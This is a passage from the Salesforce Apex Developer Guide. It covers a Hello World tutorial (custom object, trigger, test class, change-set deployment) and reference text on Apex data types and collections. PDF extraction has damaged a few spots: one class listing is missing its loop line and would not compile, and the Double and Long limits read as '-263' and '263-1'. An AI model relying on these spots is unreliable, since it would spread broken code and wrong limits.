A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of
classes, or a namespace.
Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement
your own deployment code.
Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by Salesforce to support its users and
partners, but aren't considered part of our services for purposes of the SalesforceMaster Subscription Agreement.
For more information, see Using the Force.com Migration Tool and Deploying Apex.
Deploying Apex to a Salesforce Production Organization

After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to
your Salesforce production organization.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
Also, you can deploy Apex through change sets in the Salesforce user interface.
For more information and for additional deployment options, see Deploying Apex on page 607.
Adding Apex Code to a Force.com AppExchange App

You can include an Apex class or trigger in an app that you are creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test
coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests
with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's organization. You can specify
which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must
pass for the package install to succeed.
In addition, Salesforce recommends that any AppExchange package that contains Apex be a managed package.
For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages,
see “What is a Package” in the Salesforce online help.
Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the
package, enable the Translation Workbenc and explicitly package the individual languages used in the translated custom labels.
See “Custom Labels” in the Salesforce online help.
Apex Quick Start

This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.
18
Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. After reviewing
the basics, you are ready to write your first Apex program—a very simple class, trigger, and unit test.
Because Apex is very similar to Java, you may recognize much of the functionality.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger.
This Hello World sample requires custom objects. You can either create these on your own, or download the objects and Apex code as
an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex Tutorials Package.
This package also contains sample code and objects for the Shipping Invoice example.
Note: There is a more complex Shipping Invoice example that you can also walk through. That example illustrates many more
features of the language.
IN THIS SECTION:
1. Create a Custom Object
In this step, you create a custom object called Book with one custom field called Price.
2. Adding an Apex Class
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you
will be adding in the next step.
3. Add an Apex Trigger
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
4. Add a Test Class
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises
and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
5. Deploying Components to Production
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
Create a Custom Object

In this step, you create a custom object called Book with one custom field called Price.
Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
For more information about creating a sandbox org, see “Sandbox Types and Templates” in the Salesforce Help. To sign up for a free
Developer org, see the Developer Edition Environment Sign Up Page.
1. Log in to your sandbox or Developer org.
2. From your management settings for custom objects, if you’re using Salesforce Classic, click New Custom Object, or if you’re using
Lightning Experience, select Create > Custom Object.
3. Enter Book for the label.
4. Enter Books for the plural label.
5. Click Save.
Ta dah! You’ve now created your first custom object. Now let’s create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
19
7. Select Number for the data type and click Next.

8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.
12. Click Save.
You’ve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some
standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this
tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.
SEE ALSO:
Adding an Apex Class

In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will
be adding in the next step.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The Book custom object.
1. From Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, enter this class definition:
public class MyHelloWorld {
The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained
in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information,
see Classes, Objects, and Interfaces on page 53.
3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create
an instance of the class to access the method—you can just use the name of the class followed by a dot (.) and the name of the
method. For more information, see Static and Instance Methods, Variables, and Initialization Code on page 61.
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
20
The next section of code contains the rest of the method definition:
b.Price__c *= 0.9;
}
Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided
by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end
with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it
by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *=
operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Expression Operators
on page 40.
4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
b.Price__c *= 0.9;
}
}
}
You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you will create in the next step.
Add an Apex Trigger

In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
Prerequisites:
• The MyHelloWorld Apex class.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com
platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All
triggers run in bulk; that is, they process several records at once.
1. From the object management settings for books, go to Triggers, and then click New.
2. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {
Book__c[] books = Trigger.new;
MyHelloWorld.applyDiscount(books);
}
The first line of code defines the trigger:

trigger HelloWorldTrigger on Book__c (before insert) {
It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
21
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;
The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);
You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be
able to add a test class.
SEE ALSO:
Add a Test Class

In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and
validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Prerequisites:
• The HelloWorldTrigger Apex trigger.
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com
AppExchange, the following must be true.
Note the following.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.

1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, add this test class definition, and then click Save.
@isTest
private class HelloWorldTestClass {
static testMethod void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
22
insert b;
// Retrieve the new book

b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
// Test that the trigger correctly updated the price

System.assertEquals(90, b.Price__c);
}
}
This class is defined using the @isTest annotation. Classes defined this way should only contain test methods and any methods
required to support those test methods. One advantage to creating a separate class for testing is that classes defined with isTest
don’t count against your org’s limit of 3 MB of Apex code. You can also add the @isTest annotation to individual methods. For
more information, see IsTest Annotation on page 87 and Execution Governors and Limits.
The method validateHelloWorld is defined as a testMethod. This annotation means that if changes are made to the
database, they are rolled back when execution completes. You don’t have to delete any test data created in the test method.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
23
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.
By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after you’ve tested your code and are satisfied with it, you want to deploy the code and any prerequisite components
to a production org. The next step shows you how to do this deployment for the code and custom object you’ve created.
SEE ALSO:
Salesforce Help: Open the Developer Console
Deploying Components to Production

In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
Prerequisites:
• A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
• The HelloWorldTestClass Apex test class.
• A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by
the production organization. See “Change Sets” in the Salesforce online help.
• “Create and Upload Change Sets” user permission to create, edit, or upload outbound change sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise,
or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more
information, see Deploying Apex.
1. From Setup, enter Outbound Changesets in the Quick Find box, then select Outbound Changesets.
2. If a splash page appears, click Continue.
3. In the Change Sets list, click New.
4. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
5. In the Change Set Components section, click Add.
6. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from
the list and click Add to Change Set.
7. Click View/Add Dependencies to add the dependent components.
8. Select the top checkbox to select all components. Click Add To Change Set.
9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a. Log into your production organization.
b. From Setup, enter Inbound Change Sets in the Quick Find box, then select Inbound Change Sets.
c. If a splash page appears, click Continue.
d. In the change sets awaiting deployment list, click your change set's name.
e. Click Deploy.
24
Apex Developer Guide Writing Apex
In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.
Writing Apex
Apex is like Java for Salesforce. It enables you to add and interact with data in the Force.com platform persistence layer. It uses classes,
data types, variables, and if-else statements. You can make it execute based on a condition, or have a block of code execute repeatedly.
IN THIS SECTION:
Data Types and Variables
Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment
statements.
Control Flow Statements
Apex provides if-else statements and loops to control the flow of code execution. Statements are generally executed line by line, in
the order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or have a block
of code execute repeatedly.
Working with Data in Apex
You can add and interact with data in the Force.com platform persistence layer. The sObject data type is the main data type that
holds data objects. You’ll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such
as the (), among other things.
Data Types and Variables

Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment
statements.
IN THIS SECTION:
1. Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
2. Primitive Data Types
Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
3. Collections
Collections in Apex can be lists, sets, or maps.
4. Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are
typically used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular
season of the year.
5. Variables
Local variables are declared with Java-style syntax. As with Java, multiple variables can be declared and initialized in a single statement.
6. Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final
keyword.
25
Apex Developer Guide Data Types and Variables
7. Expressions and Operators

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
8. Assignment Statements
An assignment statement is any statement that places a value into a variable.
9. Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot
be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly
converted, without using a method.
Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
• A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 26)
• An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see Working
with sObjects on page 109 in Chapter 4.)
• A collection, including:
– A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
30)
– A set of primitives (see Sets on page 32)
– A map from a primitive to a primitive, sObject, or collection (see Maps on page 33)
• A typed list of values, also known as an enum (see Enums on page 35)
• Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 53)
• Objects created from system supplied Apex classes
• Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 539.
Primitive Data Types

Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you initialize
your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
Apex primitive data types include:
Data Type Description

Blob A collection of binary data stored as a single object. You can convert this data type to String or from
String using the toString and valueOf methods, respectively. Blobs can be accepted as Web
service arguments, stored in a document (the body of a document is a Blob), or sent as attachments.
For more information, see Crypto Class.
26

Boolean A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;
Date A value that indicates a particular day. Unlike Datetime values, Date values contain no information
about time. Date values must always be created with a system static method.
You can add or subtract an Integer value from a Date value, returning a Date value. Addition and
subtraction of Integer values are the only arithmetic functions that work with Date values. You can’t
perform arithmetic functions that include two or more Date values. Instead, use the Date methods.
Datetime A value that indicates a particular day and time, such as a timestamp. Datetime values must always
be created with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
with Datetime values. You can’t perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.
Decimal A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you do not explicitly set the number of decimal places for a Decimal, the item from which the
Decimal is created determines the Decimal’s scale. Scale is a count of decimal places. Use the
setScale method to set a Decimal’s scale.
• If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
• If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
• If the Decimal is created from a non-decimal number, the number is first converted to a String.
Scale is then set using the number of characters after the decimal point.
Double A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double d=3.14159;
Scientific notation (e) for Doubles is not supported.
ID Any valid 18-character Force.com record identifier. For example:

ID id='00300000003T2PGAA0';
If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
invalid ID values are rejected with a runtime exception.
Integer A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;
27

Long A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;
Object Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i = (Integer)obj;
System.assertEquals(10, i);
The next example shows how to cast an object to a user-defined type—a custom Apex class named
MyApexClass that is predefined in your organization.
Object obj = new MyApexClass();

// Cast the object to the MyApexClass custom type.
MyApexClass mc = (MyApexClass)obj;
// Access a method on the user-defined class.
mc.someClassMethod();
String Any set of characters surrounded by single quotes. For example,

String s = 'The quick brown fox jumped over the lazy dog.';
String size: Strings have no limit on the number of characters they can include. Instead, the heap
size limit is used to ensure that your Apex programs don't grow too large.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
the SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is
created or updated. In the following example, when the Solution displays on a detail page, the
SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='<h1>hello</h1>';
}
28

In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}
For more information, see “HTML Solutions Overview” in the Salesforce online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).
Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==,
!=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated
according to the context user’s locale and are not case-sensitive. For more information, see Operators
on page 40.
String Methods: As in Java, Strings can be manipulated with several standard methods. For more
information, see String Class.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for the field.
Time A value that indicates a particular time. Time values must always be created with a system static
method. See Time Class.
In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods:
• AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Force.com platform database exclusively for sObject fields in field history tracking tables.
• Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.
SEE ALSO:
Expression Operators
Collections
Collections in Apex can be lists, sets, or maps.
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.
IN THIS SECTION:
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
29
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before
that variable can be used.
SEE ALSO:
Execution Governors and Limits
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table is a visual representation of a list of Strings:
Index 0 Index 1 Index 2 Index 3 Index 4 Index 5

'Red' 'Orange' 'Yellow' 'Green' 'Blue' 'Purple'
The index position of the first element in a list is always 0.

Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list
of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall.
To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For
example:
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();
To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47); // Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0); // Retrieves the element at index 0
myList.set(0, 1); // Adds the integer 1 to the list at index 0
myList.clear(); // Removes all elements from the list
For more information, including a complete list of all supported methods, see List Class on page 2619.
30
Using Array Notation for One-Dimensional Lists

When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list
elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the []
characters:
String[] colors = new List<String>();
These two statements are equivalent to the previous:

List<String> colors = new String[1];
String[] colors = new String[1];
To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';
Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an
array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example Description
Defines an Integer list of size zero with no elements
List<Integer> ints = new Integer[0];
Defines an Integer list with memory allocated for six Integers

List<Integer> ints = new Integer[6];
IN THIS SECTION:
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
as strings. The sort order of other more complex data types is described in the chapters covering those data types.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));
31
For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.
Default Sort Order for SelectOption

The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
Note that the disabled field is not used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (‘A’).
The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the
output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’.
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);
This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table represents a set of strings that uses city names:
'San Francisco' 'New York' 'Paris' 'Tokyo'
Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to four levels of nested collections inside it, that is, up to five levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()
32
The following are ways to declare and populate a set:

Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements
Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the
// elements of the set created in the previous step
To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer> s = new Set<Integer>(); // Define a new set
s.add(1); // Add an element to the set
System.assert(s.contains(1)); // Assert that the set contains an element
s.remove(1); // Remove the element from the set
For more information, including a complete list of all supported set system methods, see Set Class on page 2752.
Note the following limitations on sets:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
• A set is an unordered collection—you can’t access a set element at a specific index. You can only iterate over set elements.
• The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
This table represents a map of countries and currencies:
Country (Key) 'United States' 'Japan' 'France' 'England' 'India'
Currency (Value) 'Dollar' 'Yen' 'Euro' 'Pound' 'Rupee'
Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections.
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();
You can use the generic or specific sObject data types with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' =>
'd'.toUpperCase()};
In the first example, the value for the key a is b, and the value for the key c is D.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry'); // Insert a new key-value pair in the map
33
m.put(2, 'Second entry'); // Insert a new key-value pair in the map

System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2); // Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map
For more information, including a complete list of all supported Map methods, see Map Class on page 2637.
Map Considerations
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for
example, HashMap or TreeMap). Apex uses a hash structure for all maps.
• The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
• A map key can hold the null value.
• Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
• Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
• Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field
values.
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
– Enum
– Id
– Integer
– Long
– String
– Time
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used.
This is legal in Apex:
Integer x = 1;
34
This is not legal, if x has not been defined earlier:

x = 1;
Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();
Subtyping with Parameterized Lists

In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo', 'bar'};
List<Object> olst = slst;
Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular season of
the year.
Although each value corresponds to a distinct integer value, the enum hides this implementation so that you don’t inadvertently misuse
the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types can be
declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}
By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might
any other data type. For example:
Season e = Season.WINTER;
Season m(Integer x, Season e) {
if (e == Season.SUMMER) return e;
//...
}
You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }
You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webservice method can use enum types as part of their signature. When this occurs, the associated WSDL file includes definitions
for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
• System.StatusCode
35
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.
• System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webservice method. For more information, see
XmlStreamReader Class.
